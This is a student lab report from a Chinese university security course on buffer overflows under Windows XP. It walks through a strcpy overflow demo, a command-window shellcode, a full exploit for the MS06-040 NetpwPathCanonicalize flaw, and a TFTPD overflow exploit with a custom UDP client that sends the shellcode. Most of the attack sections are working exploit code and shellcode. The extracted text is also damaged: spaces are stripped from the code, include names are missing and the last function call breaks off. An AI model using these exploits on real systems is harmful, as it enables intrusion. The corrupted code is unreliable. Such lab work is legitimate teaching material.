缓冲区溢出实验报告.docx

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缓冲区溢出实验报告

华中科技大学计算机学院

《信息系统应用安全》实验报告

实验名称缓冲区溢出实验

团队成员：

姓名

班级

学号

贡献百分比

得分

高涛

信安0703班

U200714975

100%

注：

团队成员贡献百分比之和为1

教师评语：

一.实验环境

⏹操作系统：

WindowsXPSP3

⏹编译平台：

VisualC++6.0

⏹调试环境：

OllyDbg

二.实验目的

1.掌握缓冲区溢出的原理；

2.掌握缓冲区溢出漏洞的利用技巧；

3.理解缓冲区溢出漏洞的防措施。

三.实验容及步骤

1.缓冲区溢出漏洞产生的的基本原理和攻击方法

⏹缓冲区溢出模拟程序

程序源代码如下：

#include"string.h"

#include"stdio.h"

#include

//charname[]="AAAAAAAAAAAAAAAA";

charname[]="AAAAAAAAAAAAABCD";

intmain（）

{

charoutput[8];

strcpy（output,name）;//存拷贝，如果name长度超过8，则出现缓冲区溢出

for（inti=0;i<8&&output[i];i++）

{

printf（"\\0x%x",output[i]）;

}

printf（"\n"）;

return0;

}

运行该程序产生访问异常：

由于拷贝字符串时产生缓冲区溢出，用“ABCD”字符串的值覆盖了原来EIP的值，所以main函数返回时EIP指向44434241，引发访问异常。

⏹运行命令窗口的shellcode

shellcode测试代码如下：

#include"string.h"

#include"stdio.h"

#include

charname[]=

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"///覆盖ebp

"\x12\x45\xfa\x7f"////覆盖eip，jmpesp地址7ffa4512

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"

"\x8d\x45\xf4\x50\xb8"

"\x77\x1d\x80\x7c"//LoadLibraryW的地址

"\xff\xd0"

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"

"\xba"

"\xc7\x93\xbf\x77"//System的地址

"\xff\xd2";

intmain（）

{

charoutput[8];

strcpy（output,name）;

for（inti=0;i<8&&output[i];i++）

{

printf（"\\0x%x",output[i]）;

}

printf（"\n"）;

return0;

}

shellcode测试代码运行效果如下：

由于把main函数的返回EIP地址替换成了jmpesp的地址，main函数返回的时候就会执行我们的shellcode代码。

该shellcode，运行命令窗口。

2.MS06-040缓冲区溢出漏洞分析和利用

⏹溢出点定位

溢出点定位源代码

#include

typedefvoid（*MYPROC）（LPTSTR）;

intmain（）

{

chararg_1[0x320];

chararg_2[0x440];

intarg_3=0x440;

chararg_4[0x100];

longarg_5=44;

inti=0;

HINSTANCELibHandle;

MYPROCTrigger;

chardll[]="./netapi32.dll";

charVulFunc[]="NetpwPathCanonicalize";

LibHandle=LoadLibrary（dll）;//加载当前目录的netapi32.dll

Trigger=（MYPROC）GetProcAddress（LibHandle,VulFunc）;//获得NetpwPathCanonicalize的调用地址

//填充参数

memset（arg_1,0,sizeof（arg_1））;//先清零存

memset（arg_1,'a',sizeof（arg_1）-2）;//必须使用null结束符,填充a

arg_1[792]='c';

arg_1[793]='c';

arg_1[794]='c';

arg_1[795]='c';

memset（arg_4,0,sizeof（arg_4））;//先清零存

memset（arg_4,'b',sizeof（arg_4）-2）;//必须使用null结束符,填充b

（Trigger）（arg_1,arg_2,arg_3,arg_4,&arg_5,0）;//调用NetpwPathCanonicalize

FreeLibrary（LibHandle）;

return0;

}

程序运行效果如下：

可以看到错误访问地址为63636363，即为‘c’的编码，所以成功得定位了溢出点。

⏹漏洞利用

漏洞利用的源代码如下：

#include

typedefvoid（*MYPROC）（LPTSTR）;

charshellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

intmain（）

{

chararg_1[0x320];

chararg_2[0x440];

intarg_3=0x440;

chararg_4[0x100];

longarg_5=44;

HINSTANCELibHandle;

MYPROCTrigger;

chardll[]="./netapi32.dll";

charVulFunc[]="NetpwPathCanonicalize";

LibHandle=LoadLibrary（dll）;

Trigger=（MYPROC）GetProcAddress（LibHandle,VulFunc）;

memset（arg_1,0,sizeof（arg_1））;

memset（arg_1,0x90,sizeof（arg_1）-2）;

memset（arg_4,0,sizeof（arg_4））;

memset（arg_4,'a',sizeof（arg_4）-2）;

memcpy（arg_4,shellcode,168）;

arg_1[0x318]=0xF9;//CALLECX的地址

arg_1[0x319]=0x52;

arg_1[0x31A]=0x18;

arg_1[0x31B]=0x75;

（Trigger）（arg_1,arg_2,arg_3,arg_4,&arg_5,0）;

FreeLibrary（LibHandle）;

}

漏洞利用的效果如下：

可以看到成功的利用该漏洞，弹出了一个对话框。

3.TFTPD溢出漏洞分析与利用

⏹溢出点定位

1.构造FUZZ

tftp127.0.0.1getAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

FUZZ中包含288个A，这个值是通过多次测试获得的，运行效果如下，可以看到发生了溢出：

2.确定溢出点

采用284个’A’+’1234’的fuzz，运行效果如下：

可以看到程序转到了34333231，溢出点定位成功。

3.程序中溢出点定位

使用OllyDbg打开程序，首先找到recvfrom函数，方法是右键点击Searchfor选项，找到Nameincurrentmodule，在其中找到recvfrom，

如下所示：

从这里找到recvfrom函数的位置，在此设置断点：

然后启动tftp，重新运行fuzz，程序会进入到断点，跟踪程序的运行过程，发现程序运行到一个strcpy函数时造成溢出，如下图所示：

运行004063A4函数之后，栈的状态如下，可以看到EIP被我们的数据覆盖：

运行到下面的代码处，程序跳转到34333231处，至此溢出点定位完毕。

⏹溢出漏洞利用分析

首先肯定是想到利用JMPESP，但是发现EIP后面是两个函数参数，如果覆盖该参数，将在函数返回之前触发异常，无法进入到我们的shellcode。

从上图也可以看出，EIP后面的第二个参数恰好指向我们构造的字符串，那么如果我们能够把00E81F62送入EIP，可以发现函数返回之前的ESP指向010BF3C8，如果能够把ESP减去4，然后运行RET指令，就可以把00E81F62送入EIP，ESP-8相当于一次POP操作，这样如果我们把EIP指向有：

POPX

RET

代码串的指令地址，即可使得shellcode被执行，在系统DLL中搜索该指令串，发现在7FFC01B0处有该指令代码：

这样就可以构造如下的shellcode:

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//12

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//24

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//36

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//48

"\x8d\x45\xf4\x50\xb8"//53

"\x77\x1d\x80\x7c"//LoadLibraryW的地址//57

"\xff\xd0"//59

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//71

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//83

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//95

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//107

"\xba"//108

"\xc7\x93\xbf\x77"//System的地址//112

"\xff\xd2"//114

"\x90\x90\x90\x90"//118

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//128

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//138

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//148

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//158

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//168

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//178

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//188

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//198

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//208

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//218

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//228

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//238

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//248

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//258

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//268

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//278

"\x90\x90\x90\x90\x90\x90"//284

"\xB0\x01\xFC\x7F"//EIP地址//288

该shellcode为弹出一个命令窗口的shellcode，EIP指向7FFC01B0，按照上面的分析，程序将运行shellcode。

⏹漏洞利用

直接在fuzz中加入EIP跳转地址7FFC01B0，构造fuzz如下284个’A’+0xB0+0x01+0xFC+0x7F，发送到服务器端，发现实际地址不对：

发现这是因为tftp发送的时候只能发送有效的字符，而无效的字符无法发送过去，这样我们必须自己实现tftp客户端，程序代码如下：

#include

#include

#include

//弹出命令框的Shell长度

#defineCMD_SHELL_LENGTH300

//弹出命令框的shellcode

charcmdshell[CMD_SHELL_LENGTH+1]=

"\x00\x01"//2

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//14

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//26

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//38

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//50

"\x8d\x45\xf4\x50\xb8"//55

"\x77\x1d\x80\x7c"//LoadLibraryW的地址//59

"\xff\xd0"//61

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//73

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//85

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//97

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//109

"\xba"//110

"\xc7\x93\xbf\x77"//System的地址//114

"\xff\xd2"//116

"\x90\x90\x90\x90"//120

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//130

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//140

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//150

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//160

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//170

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//180

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//190

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//200

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//210

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//230

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//240

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//250

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//260

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//270

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//280

"\x90\x90\x90\x90\x90\x90"//286

"\xB0\x01\xFC\x7F"//EIP地址//290

"\x0netascii\x0";//300

voidmain（）

{

WORDwVersionRequested;//版本数据

WSADATAwsaData;//初始化数据

interr;//返回错误码

//初始化版本字段

wVersionRequested=MAKEWORD（2,2）;

//初始化库

err=WSAStartup（wVersionRequested,&wsaData）;

if（err!

=0）

{

return;

}

if（LOBYTE（wsaData.wVersion）!

=2||HIBYTE（wsaData.wHighVersion）!

=2）

{

WSACleanup（）;

return;

}

//构造SOCKET

SOCKETsockClient=socket（AF_INET,SOCK_DGRAM,0）;

//初始化地址字段

SOCKADDR_INaddrSrv;

addrSrv.sin_addr.S_un.S_addr=inet_addr（"127.0.0.1"）;

addrSrv.sin_family=AF_INET;

addrSrv.sin_port=htons（69）;

//发送shellcode

sendto（sockClient,cmdshell,CMD_SHELL_LENGTH,0,（SOCKADDR*）&addrSrv,sizeof（SOCKADDR）